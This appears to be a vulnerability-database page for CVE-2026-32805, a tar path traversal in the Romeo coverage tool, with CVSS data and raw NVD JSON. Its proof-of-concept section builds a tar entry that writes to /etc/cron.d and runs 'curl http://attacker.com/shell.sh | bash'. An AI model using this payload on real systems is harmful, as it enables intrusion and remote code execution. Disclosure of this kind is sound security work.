CVE-2026-32805

Description

Romeo gives the capability to reach high code coverage of Go ≥1.20 apps by helping to measure code coverage for functional and integration tests within GitHub Actions. Prior to version 0.2.2, the `sanitizeArchivePath` function in `webserver/api/v1/decoder.go` (lines 80-88) is vulnerable to a path traversal bypass due to a missing trailing path separator in the `strings.HasPrefix` check. A crafted tar archive can write files outside the intended destination directory. Version 0.2.2 fixes the issue.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:ctfer-io:romeo:*:*:*:*:*:*:*:* - VULNERABLE

Romeo < 0.2.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import tarfile
import os

# 构造恶意tar文件
with tarfile.open('malicious.tar', 'w') as tar:
    # 创建包含路径遍历的文件
    info = tarfile.TarInfo(name='../../../etc/cron.d/malicious')
    info.size = len(b'#!/bin/bash\ncurl http://attacker.com/shell.sh | bash')
    import io
    tar.addfile(info, io.BytesIO(b'#!/bin/bash\ncurl http://attacker.com/shell.sh | bash'))

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32805
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32805
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32805/
[4] VulDB https://vuldb.com/cve/CVE-2026-32805
[5] https://github.com/ctfer-io/romeo/commit/c2ebcfb9f305fd5f6ef68858de82507dbac10263
[6] https://github.com/ctfer-io/romeo/security/advisories/GHSA-p799-g7vv-f279
[7] https://github.com/ctfer-io/romeo/security/advisories/GHSA-p799-g7vv-f279

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32805", "sourceIdentifier": "[email protected]", "published": "2026-03-18T23:17:30.213", "lastModified": "2026-03-24T21:26:26.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Romeo gives the capability to reach high code coverage of Go ≥1.20 apps by helping to measure code coverage for functional and integration tests within GitHub Actions. Prior to version 0.2.2, the `sanitizeArchivePath` function in `webserver/api/v1/decoder.go` (lines 80-88) is vulnerable to a path traversal bypass due to a missing trailing path separator in the `strings.HasPrefix` check. A crafted tar archive can write files outside the intended destination directory. Version 0.2.2 fixes the issue."}, {"lang": "es", "value": "Romeo permite alcanzar una alta cobertura de código en aplicaciones Go ?1.20, ya que ayuda a medir la cobertura de código en pruebas funcionales y de integración dentro de GitHub Actions. Antes de la versión 0.2.2, la función `sanitizeArchivePath` en `webserver/api/v1/decoder.go` (líneas 80-88) era vulnerable a un bypass de recorrido de ruta debido a la falta de un separador de ruta final en la comprobación `strings.HasPrefix`. Un archivo tar malicioso podía escribir archivos fuera del directorio de destino previsto. La versión 0.2.2 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ctfer-io:romeo:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.2.2", "matchCriteriaId": "34A1A13E-5E86-4A98-99D2-738F4014415D"}]}]}], "references": [{"url": "https://github.com/ctfer-io/romeo/commit/c2ebcfb9f305fd5f6ef68858de82507dbac10263", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ctfer-io/romeo/security/advisories/GHSA-p799-g7vv-f279", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/ctfer-io/romeo/security/advisories/GHSA-p799-g7vv-f279", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}